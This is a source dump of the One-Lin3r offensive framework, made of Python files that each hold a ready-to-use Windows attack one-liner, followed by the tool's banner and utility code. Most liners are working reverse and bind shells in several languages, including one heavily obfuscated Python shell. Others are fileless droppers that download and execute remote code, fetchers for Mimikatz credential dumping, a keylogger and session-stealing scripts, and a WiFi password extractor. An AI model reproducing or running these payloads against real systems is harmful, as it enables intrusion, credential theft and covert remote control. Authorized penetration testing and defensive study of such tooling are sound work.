--------------------------------------------------------------------------------
/one_lin3r/core/liners/windows/perl/__init__.py:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/D4Vinci/One-Lin3r/168bb6da01a779974eac8b912b73ebccea8a3302/one_lin3r/core/liners/windows/perl/__init__.py
--------------------------------------------------------------------------------
/one_lin3r/core/liners/windows/perl/bind_tcp.py:
--------------------------------------------------------------------------------
1 | class info:
2 | author = "Karim shoair (D4Vinci)"
3 | description = "Uses perl MIO socket to establish a bind shell on specifed port."
4 | function = "bind shell"
5 | liner = """perl -MIO::Socket::INET -e '$|=1;$VAR1=new IO::Socket::INET->new();$VAR1 = new IO::Socket::INET(LocalPort => PORT,Proto => "tcp");while(NUM1){ $VAR1->recv($VAR2,1024);$VAR3=$VAR1->peerhost();$VAR4=$VAR1->peerport();$VAR5=qx($VAR2);$VAR1->send($VAR5);}'"""
6 |
--------------------------------------------------------------------------------
/one_lin3r/core/liners/windows/perl/bind_udp.py:
--------------------------------------------------------------------------------
1 | class info:
2 | author = "Karim shoair (D4Vinci)"
3 | description = "Uses perl MIO socket to establish a bind shell on specifed port."
4 | function = "bind shell"
5 | liner = """perl -MIO::Socket::INET -e '$|=1;$VAR1=new IO::Socket::INET->new();$VAR1 = new IO::Socket::INET(LocalPort => PORT,Proto => "udp");while(NUM1){ $VAR1->recv($VAR2,1024);$VAR3=$VAR1->peerhost();$VAR4=$VAR1->peerport();$VAR5=qx($VAR2);$VAR1->send($VAR5);}'"""
6 |
--------------------------------------------------------------------------------
/one_lin3r/core/liners/windows/perl/reverse_tcp.py:
--------------------------------------------------------------------------------
1 | class info:
2 | author = "Karim shoair (D4Vinci)"
3 | description = "Uses perl to create a reverse shell"
4 | function = "reverse shell"
5 | liner = """perl -MIO -e '$c=new IO::Socket::INET(PeerAddr,"TARGET:PORT");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'"""
6 |
--------------------------------------------------------------------------------
/one_lin3r/core/liners/windows/php/__init__.py:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/D4Vinci/One-Lin3r/168bb6da01a779974eac8b912b73ebccea8a3302/one_lin3r/core/liners/windows/php/__init__.py
--------------------------------------------------------------------------------
/one_lin3r/core/liners/windows/php/bind_tcp.py:
--------------------------------------------------------------------------------
1 | class info:
2 | author = "vesche"
3 | description = "Uses PHP sockets to establish a bind shell."
4 | function = "bind shell"
5 | liner = """php -r '$VAR1=socket_create(AF_INET,SOCK_STREAM,SOL_TCP);socket_bind($VAR1,"0.0.0.0",PORT);socket_listen($VAR1,1);$VAR2=socket_accept($VAR1);while(NUM1){if(!socket_write($VAR2,"$ ",2))exit;$VAR3=socket_read($VAR2,100);$VAR4=popen("$VAR3","r");while(!feof($VAR4)){$VAR5=fgetc($VAR4);socket_write($VAR2,$VAR5,strlen($VAR5));}}'"""
6 |
--------------------------------------------------------------------------------
/one_lin3r/core/liners/windows/php/bind_udp.py:
--------------------------------------------------------------------------------
1 | class info:
2 | author = "vesche"
3 | description = "Uses PHP sockets to establish a bind shell."
4 | function = "bind shell"
5 | liner = """php -r '$VAR1=socket_create(AF_INET,SOCK_DGRAM, 0);socket_bind($VAR1,"0.0.0.0",PORT);while(NUM1){socket_recvfrom($VAR1,$VAR2,1024,0,$VAR3,$VAR4);$VAR5=shell_exec($VAR2);socket_sendto($VAR1,$VAR5,1024,0,$VAR3,$VAR4);}'"""
6 |
--------------------------------------------------------------------------------
/one_lin3r/core/liners/windows/powershell/__init__.py:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/D4Vinci/One-Lin3r/168bb6da01a779974eac8b912b73ebccea8a3302/one_lin3r/core/liners/windows/powershell/__init__.py
--------------------------------------------------------------------------------
/one_lin3r/core/liners/windows/powershell/bind_tcp.py:
--------------------------------------------------------------------------------
1 | class info:
2 | author = "Karim shoair (D4Vinci)"
3 | description = "Simple powershell bind shell."
4 | function = "bind shell"
5 | liner = """powershell.exe -nop -ep bypass -Command "$VAR1=PORT;$VAR2=[System.Net.Sockets.TcpListener]$VAR1;$VAR2.Start();$VAR3=$VAR2.AcceptTCPClient();$VAR4=$VAR3.GetStream();[byte[]]$VAR5=0..65535|%{0};$VAR6=([text.encoding]::ASCII).GetBytes('Windows PowerShell running as user '+$env:username+' on '+$env:computername+'`nCopyright (C) 2015 Microsoft Corporation. All rights reserved.`n`n');$VAR4.Write($VAR6,0,$VAR6.Length);$VAR6=([text.encoding]::ASCII).GetBytes('PS '+(Get-Location).Path+'> ');$VAR4.Write($VAR6,0,$VAR6.Length);while(($VAR7=$VAR4.Read($VAR5,0,$VAR5.Length)) -ne 0){$VAR8=([text.encoding]::ASCII).GetString($VAR5,0,$VAR7);try{$VAR9=(Invoke-Expression -command $VAR8 2>&1 | Out-String )}catch{Write-Warning 'Something went wrong with execution of command on the target.';Write-Error $_;};$VAR10=$VAR9+ 'PS '+(Get-Location).Path + '> ';$VAR11=($error[0] | Out-String);$error.clear();$VAR10=$VAR10+$VAR11;$VAR6=([text.encoding]::ASCII).GetBytes($VAR10);$VAR4.Write($VAR6,0,$VAR6.Length);$VAR4.Flush();};$VAR3.Close();if($VAR2){$VAR2.Stop();};" """
6 |
--------------------------------------------------------------------------------
/one_lin3r/core/liners/windows/powershell/get_iis_config.py:
--------------------------------------------------------------------------------
1 | class info:
2 | author = "Karim shoair (D4Vinci)"
3 | description = "Get IIS Web config"
4 | function = "PrivEsc"
5 | liner = 'Get-Childitem –Path C:\inetpub\ -Include web.config -File -Recurse -ErrorAction SilentlyContinue'
6 |
--------------------------------------------------------------------------------
/one_lin3r/core/liners/windows/powershell/get_passwords_from_memory_using_mimikatz.py:
--------------------------------------------------------------------------------
1 | class info:
2 | author = "Karim shoair (D4Vinci)"
3 | description = "Grabing passwords from memory using Invoke-mimikatz script from PowerSploit"
4 | function = "PrivEsc"
5 | liner = """Powershell.exe -NoP -NonI -Exec Bypass IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/cheetz/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1'); Invoke-Mimikatz"""
6 |
--------------------------------------------------------------------------------
/one_lin3r/core/liners/windows/powershell/get_saved_wifi_passwords.py:
--------------------------------------------------------------------------------
1 | class info:
2 | author = "Vincent Yiu (@vysecurity)"
3 | description = "One liner to grab all cleartext WiFi passwords"
4 | function = "PrivEsc"
5 | liner = "(netsh wlan show profiles) | Select-String '\:(.+)$' | %{$name=$_.Matches.Groups[1].Value.Trim(); $_} | %{(netsh wlan show profile name=$name key=clear)} | Select-String 'Key Content\W+\:(.+)$' | %{$pass=$_.Matches.Groups[1].Value.Trim(); $_} | %{[PSCustomObject]@{{ PROFILE_NAME=$name;PASSWORD=$pass }"
6 |
--------------------------------------------------------------------------------
/one_lin3r/core/liners/windows/powershell/list_arp_tables.py:
--------------------------------------------------------------------------------
1 | class info:
2 | author = "Karim shoair (D4Vinci)"
3 | description = "List the ARP table"
4 | function = "PrivEsc"
5 | liner = 'Get-NetNeighbor -AddressFamily IPv4 | ft ifIndex,IPAddress,LinkLayerAddress,State'
6 |
--------------------------------------------------------------------------------
/one_lin3r/core/liners/windows/powershell/list_installed_programs_using_folders.py:
--------------------------------------------------------------------------------
1 | class info:
2 | author = "Karim shoair (D4Vinci)"
3 | description = "List all installed programs depending on program files folders"
4 | function = "PrivEsc"
5 | liner = "Get-ChildItem 'C:\Program Files', 'C:\Program Files (x86)' | ft Parent,Name,LastWriteTime"
6 |
--------------------------------------------------------------------------------
/one_lin3r/core/liners/windows/powershell/list_installed_programs_using_registry.py:
--------------------------------------------------------------------------------
1 | class info:
2 | author = "Karim shoair (D4Vinci)"
3 | description = "List all installed programs from registry."
4 | function = "PrivEsc"
5 | liner = "Get-ChildItem -path Registry::HKEY_LOCAL_MACHINE\SOFTWARE | ft Name"
6 |
--------------------------------------------------------------------------------
/one_lin3r/core/liners/windows/powershell/list_network_interfaces.py:
--------------------------------------------------------------------------------
1 | class info:
2 | author = "Karim shoair (D4Vinci)"
3 | description = "List all network interfaces and IP."
4 | function = "PrivEsc"
5 | liner = 'Get-NetIPConfiguration | ft InterfaceAlias,InterfaceDescription,IPv4Address'
6 |
--------------------------------------------------------------------------------
/one_lin3r/core/liners/windows/powershell/list_routing_tables.py:
--------------------------------------------------------------------------------
1 | class info:
2 | author = "Karim shoair (D4Vinci)"
3 | description = "List current routing table"
4 | function = "PrivEsc"
5 | liner = 'Get-NetRoute -AddressFamily IPv4 | ft DestinationPrefix,NextHop,RouteMetric,ifIndex'
6 |
--------------------------------------------------------------------------------
/one_lin3r/core/liners/windows/powershell/list_running_processes.py:
--------------------------------------------------------------------------------
1 | class info:
2 | author = "Karim shoair (D4Vinci)"
3 | description = "Querying wmi from powershell to get all running processes."
4 | function = "PrivEsc"
5 | liner = 'Get-WmiObject -Query "Select * from Win32_Process" | where {$_.Name -notlike "svchost*"} | Select Name, Handle, @{Label="Owner";Expression={$_.GetOwner().User}}} | ft -AutoSize'
6 |
--------------------------------------------------------------------------------
/one_lin3r/core/liners/windows/powershell/list_scheduled_tasks.py:
--------------------------------------------------------------------------------
1 | class info:
2 | author = "Karim shoair (D4Vinci)"
3 | description = "List all Scheduled tasks"
4 | function = "PrivEsc"
5 | liner = 'Get-ScheduledTask | where {$_.TaskPath -notlike "\Microsoft*"} | ft TaskName,TaskPath,State'
6 |
--------------------------------------------------------------------------------
/one_lin3r/core/liners/windows/powershell/list_unqouted_services.py:
--------------------------------------------------------------------------------
1 | class info:
2 | author = "Karim shoair (D4Vinci)"
3 | description = "Quering wmi to search for unquoted services paths so you can exploit it later"
4 | function = "PrivEsc"
5 | liner = '''gwmi -class Win32_Service -Property Name, DisplayName, PathName, StartMode | Where {$_.StartMode -eq "Auto" -and $_.PathName -notlike "C:\Windows*" -and $_.PathName -notlike '"*'} | select PathName,DisplayName,Name'''
6 |
--------------------------------------------------------------------------------
/one_lin3r/core/liners/windows/powershell/meterpreter_shell.py:
--------------------------------------------------------------------------------
1 | class info:
2 | author = "Karim shoair (D4Vinci)"
3 | description = "Metasploit meterpreter reverse HTTPS shell using a powershell script from powersploit"
4 | function = "reverse shell"
5 | liner = """Powershell.exe -NoP -NonI -W Hidden -Exec Bypass IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/cheetz/PowerSploit/master/CodeExecution/Invoke--Shellcode.ps1'); Invoke-Shellcode -Payload windows/meterpreter/reverse_https -Lhost TARGET -Lport PORT -Force"""
6 |
--------------------------------------------------------------------------------
/one_lin3r/core/liners/windows/powershell/ps1_dropper.py:
--------------------------------------------------------------------------------
1 | class info:
2 | author = "Karim shoair (D4Vinci)"
3 | description = "Uses powershell to execute your ps1 script on the fly without touching disk."
4 | function = "Dropper"
5 | liner = "powershell -exec bypass -c \"(New-Object Net.WebClient).Proxy.Credentials=[Net.CredentialCache]::DefaultNetworkCredentials;iwr('URL')|iex\""
6 |
--------------------------------------------------------------------------------
/one_lin3r/core/liners/windows/powershell/ps1_dropper_microsoft_syncappv.py:
--------------------------------------------------------------------------------
1 | class info:
2 | author = "Karim shoair (D4Vinci)"
3 | description = "Using Microsoft's SyncAppvPublishingServer to download and execute a PowerShell file!"
4 | function = "Dropper"
5 | liner = """SyncAppvPublishingServer.exe "n;((New-Object Net.WebClient).DownloadString('URL') | IEX"""
6 |
--------------------------------------------------------------------------------
/one_lin3r/core/liners/windows/powershell/ps1_dropper_rundll32.py:
--------------------------------------------------------------------------------
1 | class info:
2 | author = "Karim shoair (D4Vinci)"
3 | description = "Using rundll32.exe to download and execute a PowerShell file(PS1)."
4 | function = "Dropper"
5 | liner = "rundll32.exe javascript:\"..\mshtml,RunHTMLApplication \";document.write();new%20ActiveXObject(\"WScript.Shell\").Run(\"powershell -nop -exec bypass -c IEX (New-Object Net.WebClient).DownloadString('URL');\")"
6 |
--------------------------------------------------------------------------------
/one_lin3r/core/liners/windows/powershell/reverse_tcp.py:
--------------------------------------------------------------------------------
1 | class info:
2 | author = "Karim shoair (D4Vinci)"
3 | description = "Simple powershell sockets tcp shell."
4 | function = "reverse shell"
5 | liner = """powershell -NoP -NonI -W Hidden -Exec Bypass -Command New-Object System.Net.Sockets.TCPClient("TARGET",PORT);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"""
6 |
--------------------------------------------------------------------------------
/one_lin3r/core/liners/windows/powershell/reverse_tcp_string.py:
--------------------------------------------------------------------------------
1 | class info:
2 | author = "Karim shoair (D4Vinci)"
3 | description = "Simple powershell sockets tcp shell like the other but this time in string format."
4 | function = "reverse shell"
5 | liner = """powershell -nop -c "$client = New-Object System.Net.Sockets.TCPClient('TARGET',PORT);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"""
6 |
--------------------------------------------------------------------------------
/one_lin3r/core/liners/windows/powershell/setup_keylogger_powersploit.py:
--------------------------------------------------------------------------------
1 | class info:
2 | author = "Karim shoair (D4Vinci)"
3 | description = "Using a script from powersploit to log keyboard strokes to a specifed log file path"
4 | function = "Keylogger"
5 | liner = "Powershell.exe -exec bypass IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/cheetz/PowerSploit/master/Exfiltration/Get-Keystrokes.ps1');Get-Keystrokes -LogPath FILE_PATH"
6 |
--------------------------------------------------------------------------------
/one_lin3r/core/liners/windows/powershell/setup_powerup_powertools.py:
--------------------------------------------------------------------------------
1 | class info:
2 | author = "Karim shoair (D4Vinci)"
3 | description = "Download and run powerup script to search for vulnerable services to privilege escalation opportunities and more"
4 | function = "PrivEsc"
5 | liner = """powershell -Version 2 -nop -exec bypass IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellEmpire/PowerTools/master/PowerUp/PowerUp.ps1'); Invoke-AllChecks"""
6 |
--------------------------------------------------------------------------------
/one_lin3r/core/liners/windows/powershell/setup_session_gopher.py:
--------------------------------------------------------------------------------
1 | class info:
2 | author = "Karim shoair (D4Vinci)"
3 | description = "Download and run SessionGopher to get saved session information for PuTTY, WinSCP, FileZilla, SuperPuTTY, and RDP."
4 | function = "PrivEsc"
5 | liner = "powershell -Version 2 -nop -exec bypass IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/Arvanaghi/SessionGopher/master/SessionGopher.ps1'); Invoke-SessionGopher -AllDomain -o"
6 |
--------------------------------------------------------------------------------
/one_lin3r/core/liners/windows/python/__init__.py:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/D4Vinci/One-Lin3r/168bb6da01a779974eac8b912b73ebccea8a3302/one_lin3r/core/liners/windows/python/__init__.py
--------------------------------------------------------------------------------
/one_lin3r/core/liners/windows/python/bind_tcp.py:
--------------------------------------------------------------------------------
1 | class info:
2 | author = "Karim shoair (D4Vinci)"
3 | description = "Use python socket module and subprocess to establish bind shell on specifed port."
4 | function = "bind shell"
5 | liner = """python -c 'while NUM1: from subprocess import Popen,PIPE;from socket import socket,AF_INET,SOCK_STREAM;VAR1=socket(AF_INET,SOCK_STREAM);VAR1.bind(("0.0.0.0",PORT));VAR2,VAR3=VAR1.recvfrom(8096);VAR4=Popen(VAR2,shell=True,stdout=PIPE,stderr=PIPE).communicate();VAR1.sendto("".join([VAR4[0],VAR4[1]]),VAR3)'"""
6 |
--------------------------------------------------------------------------------
/one_lin3r/core/liners/windows/python/bind_udp.py:
--------------------------------------------------------------------------------
1 | class info:
2 | author = "Karim shoair (D4Vinci)"
3 | description = "Use python socket module and subprocess to establish bind shell on specifed port."
4 | function = "bind shell"
5 | liner = """python -c 'while NUM1: from subprocess import Popen,PIPE;from socket import socket,AF_INET,SOCK_DGRAM;VAR1=socket(AF_INET,SOCK_DGRAM);VAR1.bind(("0.0.0.0",PORT));VAR2,VAR3=VAR1.recvfrom(8096);VAR4=Popen(VAR2,shell=True,stdout=PIPE,stderr=PIPE).communicate();VAR1.sendto("".join([VAR4[0],VAR4[1]]),VAR3)'"""
6 |
--------------------------------------------------------------------------------
/one_lin3r/core/liners/windows/python/reverse_tcp.py:
--------------------------------------------------------------------------------
1 | class info:
2 | author = "Karim shoair (D4Vinci)"
3 | description = "Python socket to connect back & execute data with subprocess."
4 | function = "reverse shell"
5 | liner = """python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("TARGET",PORT));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call("cmd");'"""
6 |
--------------------------------------------------------------------------------
/one_lin3r/core/liners/windows/python/reverse_tcp_threaded.py:
--------------------------------------------------------------------------------
1 | class info:
2 | author = "Karim shoair (D4Vinci)"
3 | description = "Uses python 2 sockets and threading to establish a reverse shell."
4 | function = "reverse shell"
5 | liner = """C:\Python27\python.exe -c "(lambda __y, __g, __contextlib: [[[[[[[(s.connect(('TARGET', PORT)), [[[(s2p_thread.start(), [[(p2s_thread.start(), (lambda __out: (lambda __ctx: [__ctx.__enter__(), __ctx.__exit__(None, None, None), __out[0](lambda: None)][2])(__contextlib.nested(type('except', (), {'__enter__': lambda self: None, '__exit__': lambda __self, __exctype, __value, __traceback: __exctype is not None and (issubclass(__exctype, KeyboardInterrupt) and [True for __out[0] in [((s.close(), lambda after: after())[1])]][0])})(), type('try', (), {'__enter__': lambda self: None, '__exit__': lambda __self, __exctype, __value, __traceback: [False for __out[0] in [((p.wait(), (lambda __after: __after()))[1])]][0]})())))([None]))[1] for p2s_thread.daemon in [(True)]][0] for __g['p2s_thread'] in [(threading.Thread(target=p2s, args=[s, p]))]][0])[1] for s2p_thread.daemon in [(True)]][0] for __g['s2p_thread'] in [(threading.Thread(target=s2p, args=[s, p]))]][0] for __g['p'] in [(subprocess.Popen(['\\windows\\system32\\cmd.exe'], stdout=subprocess.PIPE, stderr=subprocess.STDOUT, stdin=subprocess.PIPE))]][0])[1] for __g['s'] in [(socket.socket(socket.AF_INET, socket.SOCK_STREAM))]][0] for __g['p2s'], p2s.__name__ in [(lambda s, p: (lambda __l: [(lambda __after: __y(lambda __this: lambda: (__l['s'].send(__l['p'].stdout.read(1)), __this())[1] if True else __after())())(lambda: None) for __l['s'], __l['p'] in [(s, p)]][0])({}), 'p2s')]][0] for __g['s2p'], s2p.__name__ in [(lambda s, p: (lambda __l: [(lambda __after: __y(lambda __this: lambda: [(lambda __after: (__l['p'].stdin.write(__l['data']), __after())[1] if (len(__l['data']) > 0) else __after())(lambda: __this()) for __l['data'] in [(__l['s'].recv(1024))]][0] if True else __after())())(lambda: None) for __l['s'], __l['p'] in [(s, p)]][0])({}), 's2p')]][0] for __g['os'] in [(__import__('os', __g, __g))]][0] for __g['socket'] in [(__import__('socket', __g, __g))]][0] for __g['subprocess'] in [(__import__('subprocess', __g, __g))]][0] for __g['threading'] in [(__import__('threading', __g, __g))]][0])((lambda f: (lambda x: x(x))(lambda y: f(lambda: y(y)()))), globals(), __import__('contextlib'))"""
6 |
--------------------------------------------------------------------------------
/one_lin3r/core/liners/windows/ruby/__init__.py:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/D4Vinci/One-Lin3r/168bb6da01a779974eac8b912b73ebccea8a3302/one_lin3r/core/liners/windows/ruby/__init__.py
--------------------------------------------------------------------------------
/one_lin3r/core/liners/windows/ruby/bind_tcp.py:
--------------------------------------------------------------------------------
1 | class info:
2 | author = "Karim shoair (D4Vinci)"
3 | description = "Uses ruby TCPServer to establish a bind shell."
4 | function = "bind shell"
5 | liner = """ruby -rsocket -e 'VAR1=TCPServer.new(PORT);VAR2=VAR1.accept;VAR1.close();$stdin.reopen(VAR2);$stdout.reopen(VAR2);$stderr.reopen(VAR2);$stdin.each_line{|VAR3|VAR3=VAR3.strip;next if VAR3.length==0;(IO.popen(VAR3,"rb"){|VAR4|VAR4.each_line{|VAR5|c.puts(VAR5.strip)}})rescue nil}'"""
6 |
--------------------------------------------------------------------------------
/one_lin3r/core/liners/windows/ruby/bind_udp.py:
--------------------------------------------------------------------------------
1 | class info:
2 | author = "Karim shoair (D4Vinci)"
3 | description = "Uses ruby UDPSocket to establish a bind shell."
4 | function = "bind shell"
5 | liner = """ruby -rsocket -e 'require "open3";VAR1=UDPSocket.new;VAR1.bind("0.0.0.0",PORT);loop do VAR2,VAR3=VAR1.recvfrom(1024);VAR4,VAR5,VAR6=Open3.capture3(VAR2);VAR1.send(VAR4,0,VAR3[3],VAR3[1]); end'"""
6 |
--------------------------------------------------------------------------------
/one_lin3r/core/liners/windows/ruby/reverse_tcp.py:
--------------------------------------------------------------------------------
1 | class info:
2 | author = "Karim shoair (D4Vinci)"
3 | description = "Uses ruby to establish a reverse shell."
4 | function = "reverse shell"
5 | liner = "ruby -rsocket -e 'c=TCPSocket.new(\"TARGET\",\"PORT\");while(cmd=c.gets);IO.popen(cmd,\"r\"){|io|c.print io.read}end'"
6 |
--------------------------------------------------------------------------------
/one_lin3r/core/liners/windows/scan/__init__.py:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/D4Vinci/One-Lin3r/168bb6da01a779974eac8b912b73ebccea8a3302/one_lin3r/core/liners/windows/scan/__init__.py
--------------------------------------------------------------------------------
/one_lin3r/core/liners/windows/scan/check_eternal_blue.py:
--------------------------------------------------------------------------------
1 | class info:
2 | author = "Karim shoair (D4Vinci)"
3 | description = "Check with nmap scipt for MS17-010 (Eternal Blue) vulnerability."
4 | function = "Nmap script"
5 | liner = "nmap -Pn -p445 --open --max-hostgroup 3 --script smb-vuln-ms17–010 TARGET"
6 |
--------------------------------------------------------------------------------
/one_lin3r/core/liners/windows/scan/check_netapi.py:
--------------------------------------------------------------------------------
1 | class info:
2 | author = "Karim shoair (D4Vinci)"
3 | description = "Check with nmap scipt for MS08-067 (NetAPI) vulnerability."
4 | function = "Nmap script"
5 | liner = "nmap -Pn -p445 --open --max-hostgroup 3 --script smb-vuln-ms08-067 TARGET"
6 |
--------------------------------------------------------------------------------
/one_lin3r/core/liners/windows/wsl/__init__.py:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/D4Vinci/One-Lin3r/168bb6da01a779974eac8b912b73ebccea8a3302/one_lin3r/core/liners/windows/wsl/__init__.py
--------------------------------------------------------------------------------
/one_lin3r/core/liners/windows/wsl/runas_with_creds.py:
--------------------------------------------------------------------------------
1 | class info:
2 | author = "Karim shoair (D4Vinci)"
3 | description = "Using wsl to run a python code as root."
4 | function = "Execute"
5 | liner = "wsl python -c 'COMMAND'"
6 |
--------------------------------------------------------------------------------
/one_lin3r/core/resources/banner.txt:
--------------------------------------------------------------------------------
1 | zeeeeee-
2 | z$$$$$$"
3 | d$$$$$$"
4 | d$$$$$P
5 | d$$$$$P
6 | $$$$$$"
7 | .$$$$$$"
8 | .$$$$$$"
9 | 4$$$$$$$$$$$$$"
10 | z$$$$$$$$$$$$$"
11 | """""""3$$$$$"
12 | z$$$$P
13 | d$$$$" {Name}
14 | .$$$$$" {Description}
15 | z$$$$$" {Loaded}
16 | z$$$$P
17 | d$$$$$$$$$$"
18 | *******$$$"
19 | .$$$"
20 | .$$"
21 | 4$P"
22 | z$"
23 | zP
24 | z"
25 | /
26 | ^
27 |
--------------------------------------------------------------------------------
/one_lin3r/core/resources/version.txt:
--------------------------------------------------------------------------------
1 | 2.1
2 |
--------------------------------------------------------------------------------
/one_lin3r/core/utils.py:
--------------------------------------------------------------------------------
1 | #Written by: Karim shoair - D4Vinci ( One-Lin3r )
2 | from __future__ import print_function,unicode_literals
3 | from terminaltables import AsciiTable as table
4 | from .color import *
5 | from prompt_toolkit.shortcuts import CompleteStyle, prompt
6 | from prompt_toolkit.formatted_text import ANSI
7 | from prompt_toolkit.completion import WordCompleter
8 | from prompt_toolkit.completion import Completer, Completion
9 | from prompt_toolkit import PromptSession
10 | from prompt_toolkit.history import FileHistory
11 | import sys, os, time, pkg_resources
12 |
13 | try:
14 | from urllib.request import urlopen
15 | except ImportError:
16 | from urllib import urlopen
17 |
18 | core_dir = pkg_resources.resource_filename('one_lin3r', 'core')
19 |
20 | def get_corefilepath(*args):
21 | return os.path.join(core_dir, *args)
22 |
23 | current_directory = os.getcwd()
24 |
25 | def banner(liners):
26 | if os.name=="nt":
27 | os.system("cls")
28 | else:
29 | os.system("clear")
30 | banner = open(get_corefilepath("resources", "banner.txt")).read()
31 | v = open(get_corefilepath("resources", "version.txt")).read().strip()
32 | banner_to_print = R
33 | banner_to_print += banner.format(Name=G+"One-Lin3r By "+Bold+"D4Vinci -"+M+" V"+v+end+R,
34 | Description=B+"A framework where all your liners belongs to..."+R,
35 | Loaded=G+"Loaded "+Y+str(len(liners))+G+" liner(s)."+R)
36 | print(banner_to_print+end)
37 | return
38 |
39 | def my_map(func,values):
40 | # Because map behaves differently in python 2 and 3, I decided to write my own fuckin version :3
41 | result = []
42 | for value in values:
43 | result.append( func(value) )
44 | return result
45 |
46 | not_allowed_chars= ['\\','[','>','$','<','#','"','%',';','*','?','/','!','.','+','^','&','=','-',']','|','(',')','@','}','~','`',':',',','{',"'"]
47 | def my_filter(values, forbidden=not_allowed_chars):
48 | values = list(set(values))
49 | returned = []
50 | for element in values:
51 | result_boolens = []
52 | for char in forbidden:
53 | if char in element:
54 | result_boolens.append(False)
55 | else:
56 | result_boolens.append(True)
57 | if all(result_boolens):
58 | returned.append(element)
59 | return returned
60 |
61 | def grab_wanted(cmd,keywords):
62 | #To check for the wanted command on typos
63 | wanted = ""
64 | for i in reversed(range(1,5)): # Danger! Magic,don't touch :"D
65 | oo = [s for s in keywords if (s[:i]==cmd[:i] and s not in wanted) ]
66 | if len(oo)>1:
67 | wanted += ", ".join(oo)
68 | elif len(oo)==1:
69 | wanted += ", "+oo[0]
70 | return wanted
71 |
72 | def pythonize(path):
73 | # Normal path to python importable path
74 | return path.lower().replace('/', '.').replace("\\",".")
75 |
76 | def humanize(path):
77 | # Python importable path to normal path
78 | return path.lower().replace('.', '/')
79 |
80 | def create_table(headers,rows,name="liners"):
81 | # Prints a table with the given parameters
82 | # print(table([["Header1","Header2"],["Row"]],"name").table)
83 | Main = [headers]
84 | for row in rows:
85 | Main.append(row)
86 | t = table(Main,name)
87 | t.inner_column_border = True
88 | t.outer_border = False
89 | t.inner_heading_row_border = True
90 | t.inner_footing_row_border = False
91 | print("\n"+t.table)
92 |
93 | def encoder(text):
94 | import base64
95 | ver = sys.version[0]
96 | if ver=="3":
97 | return base64.b64encode(text.encode()).decode()
98 | else:
99 | return base64.b64encode(text.encode())
100 |
101 | def check_version():
102 | #check for database version online
103 | u = "https://raw.githubusercontent.com/D4Vinci/One-Lin3r/master/one_lin3r/core/resources/version.txt"
104 | try:
105 | res = urlopen(u).read().decode('utf-8').strip()
106 | return res
107 | except:
108 | return None
109 |
110 | # Welcome to my own custom auto completer ( Don't touch it's art :D )
111 | # If you gonna borrow/steal it, be nice and mention the source ;)
112 | class MyCompleter(Completer):
113 | def __init__(self, commands, variables, liners):
114 | self.commands = sorted([c.lower() for c in commands])
115 | self.variables = sorted([v.lower() for v in variables])
116 | self.liners = sorted([l.lower() for l in liners])
117 | def get_completions(self, document, complete_event):
118 | buffer = document.text.lower()
119 | line = document.text.lower().split()
120 | # show all commands
121 | if not line:
122 | for i in self.commands:
123 | yield Completion(i, start_position=-1 * len(document.text), display=i)
124 | else:
125 | cmd = line[0].strip()
126 | if cmd in self.commands:
127 | if buffer.startswith("use") or buffer.startswith("info"):
128 | if len(line)>1: # if any part of a liner is after the command
129 | result = []
130 | # Search for liners starts with the part typed
131 | for l in self.liners:
132 | if l.startswith(line[1]):
133 | result.append(l)
134 | # If no liners found, search for liners that contains the word typed ;)
135 | # Example: `use iis` (tab) would become `use windows/powershell/get_iis_config`
136 | if len(result)==0:
137 | for l in self.liners:
138 | if line[1] in l:
139 | result.append(l)
140 |
141 | # All liners should start with command typed because the line would be overwritten
142 | if len(result):
143 | for i in range(len(result)):
144 | if buffer.startswith("use"):
145 | result[i] = "use "+result[i]
146 | else:
147 | result[i] = "info "+result[i]
148 | for l in result:
149 | yield Completion(l, -document.cursor_position, display=l)
150 | else: # If no liner typed, return all liners
151 | for l in self.liners:
152 | yield Completion(l, -document.cursor_position, display=l)
153 |
154 | elif buffer.startswith("set"):
155 | # No need for comments, it's the same logic as the above...
156 | if len(line)>1:
157 | result = []
158 | for v in self.variables:
159 | if v.startswith(line[1]):
160 | result.append("set "+v)
161 | if len(result)==0:
162 | result = [v for v in self.variables if line[1] in v]
163 |
164 | for v in result:
165 | yield Completion(v, -document.cursor_position, display=v)
166 | else:
167 | for v in self.variables:
168 | yield Completion(v, -document.cursor_position, display=v)
169 | else:
170 | result = []
171 | for c in self.commands:
172 | if c.startswith(cmd):
173 | result.append(c)
174 | if len(result)==0:
175 | for i in reversed(range(1,5)): # Fixing typos to return matches if there's no matches :D
176 | result.extend( [ c for c in self.commands if (c[:i]==cmd[:i] and c not in result) ])
177 | if len(result)>0:
178 | result = sorted(result)
179 | break
180 |
181 | for c in result:
182 | yield Completion(c, start_position=-document.cursor_position, display=c)
183 |
184 |
